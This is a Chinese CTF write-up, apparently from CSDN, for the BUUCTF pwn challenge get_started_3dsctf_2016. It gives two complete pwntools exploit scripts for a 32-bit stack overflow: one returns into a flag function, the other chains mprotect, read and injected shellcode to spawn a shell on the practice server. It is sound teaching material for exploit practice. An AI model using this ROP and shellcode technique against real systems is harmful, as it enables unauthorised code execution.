buuctf get_started_3dsctf_2016 wp(python3)

文章介绍了两种利用栈溢出漏洞的方法,一种是寻找flag相关函数并构造返回地址,另一种是利用mprotect函数绕过NX保护执行shellcode。第一种方法需要找到正确的返回地址,第二种方法涉及内存页权限修改和popretgadget的使用。
摘要由CSDN通过智能技术生成

首先,这题有两种方法

事前准备

开了nx 32bit

看看ida

漏洞及其利用思路

主函数就两句话,canary没开

第二句很明显的栈溢出,第一句话翻译出来莫名其妙的

所以问题在于,溢出的返回地址应该是哪一个,但是这道题虽然func里面很多函数,并没有我们能直接用的system,更没有/bin/sh,由此有两种方法(鄙人第二种是在第一种遇到一点问题后上网翻的wp,学习了第二种方法)第一种只能得到flag,私以为这一点也不pwn(毕竟没有权限)

方法一

在ida中 shift+f12会有一堆东西,人眼不大可能找得到啥

查查flag相关的(和大多数软件差不多,查找都是ctrl f)

发现是有东西的,点进去后对齐进行ctrl x 交叉引用

点一下就能跳转到调用它的函数,按一下f5伪c

随便看看就知道这个函数是拿flag的,但是有两个条件,参数有要求

但这实际上这不是这个题有意思的地方,关键在于我们模仿的这个函数的堆栈调用,需要一个返回地址,正常的地址是随便填填的。这个必须得用exit的地址,如果这个方法不是正常退出,就无法得到flag(最初我遇到的问题就是这个)

(个人理解是程序异常退出时还没来得及发送)

payload:(比较简单我就不注释了)

from pwn import*p=remote('node4.buuoj.cn',28980)add=0x080489A0a1=0x308CD64Fret=0x0804e6a0a2=0x195719D1payload='a'*56+p32(add).decode('unicode_escape')+p32(ret).decode('unicode_escape')+p32(a1).decode('unicode_escape')+p32(a2).decode('unicode_escape')p.sendline(payload)p.interactive()

getshell

方法二

我先介绍一下mprotect这个函数

int mprotect(void *addr, size_t len, int prot)

三个参数分别是修改的起始地址,长度,修改为的权限,要注意,这个题是开启了nx保护的,简单讲一下nx保护就是:文件段可写的地方不可执行。而有了这个函数我们bypass这个保护执行shellcode

所以我们需要找到该写在哪,

同样是ida ctrl s 查看文件段(段的详情还请自行了解)

段简要来说就是存放代码或者数据的空间,通常植入shellcode的地方是bss段

这里也能很明显的看出bss段因为开了nx保护没有x(可执行)权限

很明显应该是图中所指地址0x080EBF80

但是这个函数的使用有个原则,所修改的区域只能是完整的内存页(4KB/页)

所以直接从bss开始意味着并不是从完整位置开始的,权限设置失败

应改为从0x080EB000开始(000-FFF=4096即4KB)

size和权限好说,一个4096(0x1000)一个7(rwx对应的数字,这个用过chmod的应该知道)

植入就需要调用函数这里我们使用read

但是肯定不可能ret 到read,在汇编中,函数调用完后会让参数pop恢复堆栈,这些恢复都是及其自动安排好了的,但是我们是手动控制函数调用,不会有自动pop这样的好事,所以为了继续控制程序,我们要在文件里面找一个pop三连+ret的

$ROPgadget --binary get_started_3dsctf_2016 --only 'pop|ret' | grep pop

随便找一个三个pop带一个空ret的就行,eg:

在参数弹出之后,第一个函数的payload就完毕了,pppr1就是我们的三pret地址

payload=b'a'*56+p32(addmp)+p32(pppr1)+p32(buf)+p32(size)+p32(mod)

然后调用read,read完毕后也要使用pop弹出三个参数,在写入后因为还要执行shellcode

payload+=p32(read)+p32(pppr2)payload+=p32(0)+p32(buf)+p32(size)

最后接上shellcode的地址,即可getshell

完整payload:

from pwn import *
elf = ELF('./get_started_3dsctf_2016')  #相当于小ida,可以帮你查一些函数地址
#用法,addname=elf.symbols['funcname']
r=elf.process()            
r=remote('node4.buuoj.cn', 28980)
addmp=elf.symbols['mprotect']
read=elf.symbols['read']

pppr1=0x0806fc08
pppr2=0x080483b8
pppr3=0x08063adb    
pppr4=0x804951D     #这四个都可以,因为在你劫持之后寄存器基本上就不会被用到    
'''
这四个都可以,因为在你劫持之后寄存器基本上就不会被用到    
所以随便pop的是那个寄存器偶读不重要,ropgadget随便找一个三连+ret的用就成
'''
size=0x1000
buf=0x080eb000
mod=0x7

payload=b'a'*56+p32(addmp)+p32(pppr3)+p32(buf)+p32(size)+p32(mod)
'''
第一个部分就是对mprotect函数的使用,mprotect的调用有三个参数
int mprotect(void *addr, size_t len, int prot);
地址,长度,修改为的权限rwx就是7
pop完后再接ret就可以再接一个read,来执行shellcode
'''
payload+=p32(read)+p32(pppr2)#因为还要执行shellcode所以read的ret也要让3参数最终弹出
payload+=p32(0)+p32(buf)+p32(size)
payload+=p32(buf)               #最后返回到buf位置执行shellcode
r.sendline(payload)        #发送第一段,因为最终触发read,最后发送shellcode
payload1=asm(shellcraft.sh(),arch='i386',os='linux')

r.sendline(payload1)
r.interactive()

另:在最后那个返回位置即“payload+=p32(buf)”这句话,如果把buf改成mprotect的地址(或者基本上是任意的合法地址),也能getshell,原因没想明白(gdb调了一下发现大概是因为shell的地址最后就在buf后输入完了就会执行,和exp里的返回地址就没啥关系,但是具体为什么是这个布置,就不得而知了)

这里的payload也可以在read之后直接ret bufadd,因为最后执行的shell在另外的段上,不会受到shellcode的干扰

但这个最后带pop所引发的这个玄学问题,emmmmmmmmm

getshell

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值